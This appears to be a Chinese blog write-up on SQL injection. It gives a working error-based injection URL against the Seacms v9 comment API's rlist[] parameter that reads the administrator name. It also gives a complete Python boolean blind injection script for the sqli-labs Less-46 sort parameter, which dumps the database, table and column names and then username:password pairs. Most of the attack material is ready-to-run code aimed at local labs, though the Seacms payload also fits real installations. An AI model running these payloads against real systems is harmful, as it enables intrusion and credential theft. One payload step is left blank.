seacmsv9管理员账号/密码注入

一、Seacms v9 SQL 注入漏洞分析与利用

(1)漏洞概述

Seacms(海洋 CMS)是一款基于 PHP5.X + MySQL 架构的视频点播系统,被广泛用于影视站点管理。在 Seacms v9 版本中,./comment/api/index.php 存在 SQL 注入漏洞,漏洞参数为 $rlist,可用于执行 SQL 注入攻击。

(2)漏洞成因

由于 Seacms v9 是开源的,我们可以直接查看其源码,发现 rlist[] 参数未经过严格的过滤和预处理,导致攻击者可以构造恶意 SQL 语句,实现数据库查询操作。

(3) 数据库结构

Seacms v9 版本使用的数据库默认名称为 seacms,其中管理员信息存储在 sea_admin 表。

html 复制代码
payload:
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

2.插入数据:

sql 复制代码
INSERT INTO sea_comment (
    uid, v_id, typeid, username, ip, ischeck, dtime, msg, 
    m_type, reply, agree, anti, pic, vote
) VALUES 
(123, 456, 1, 'user1', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'Nice video!', 0, 1, 5, 0, '', 3),
(124, 457, 2, 'user2', '192.168.1.3', 0, UNIX_TIMESTAMP(), 'Great content!', 0, 0, 8, 1, '', 2);

管理员用户密码注入:

payload

最后由md5解密得管理员账号密码为:admin

二,order by +布尔盲注

代码如下:

python 复制代码
import requests
from bs4 import BeautifulSoup
 
def get_username(response_text):
    soup = BeautifulSoup(response_text, 'html.parser')
    username = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username.text if username else ''
 
def boolean_sqli_exploit(payload_template):
    result = ''
    i = 1
    while True:
        left, right = 32, 127
        while left < right:
            mid = (left + right) // 2
            url = payload_template.format(index=i, char_value=mid)
            resp = requests.get(url)
            if get_username(resp.text) == 'Dumb':
                left = mid + 1
            else:
                right = mid
        if left == 32:
            break
        result += chr(left)
        i += 1
        print(result)
    return result
 
def inject_database():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
def inject_tables():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
def inject_columns():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
def inject_data():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
if __name__ == '__main__':
    # inject_database()
    # inject_tables()
    # inject_columns()
    inject_data()
相关推荐
代码改变世界ctw6 分钟前
1.4 ARM安全参考架构(PSA Certified)
arm开发·安全·arm·trustzone·atf·optee·安全启动
网安小白的进阶之路6 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-2
网络·安全·web安全·系统安全·交换机
安全系统学习6 小时前
网络安全之RCE分析与利用详情
服务器·网络·安全·web安全·系统安全
武汉唯众智创6 小时前
网络安全实训室建设方案全攻略
网络·安全·web安全·网络安全·网络安全实训室·网络安全实验室
weixin_472339466 小时前
网络安全攻防:文件上传漏洞的深度解析与防御实践
安全·web安全
雪兽软件6 小时前
2025 年网络安全与人工智能发展趋势
人工智能·安全·web安全
小黄人20257 小时前
自动驾驶安全技术的演进与NVIDIA的创新实践
人工智能·安全·自动驾驶
CS创新实验室7 小时前
筑牢 AIGC 安全防线:警惕提示词注入攻击
安全·大模型·aigc·提示词·提示词注入
宝山哥哥8 小时前
网络信息安全学习笔记1----------网络信息安全概述
网络·笔记·学习·安全·网络安全
电池保护板测试仪厂家10 小时前
电池充放电容量检测:守护电动出行设备动力核心的安全防线
科技·安全·能源·制造·零售·交通物流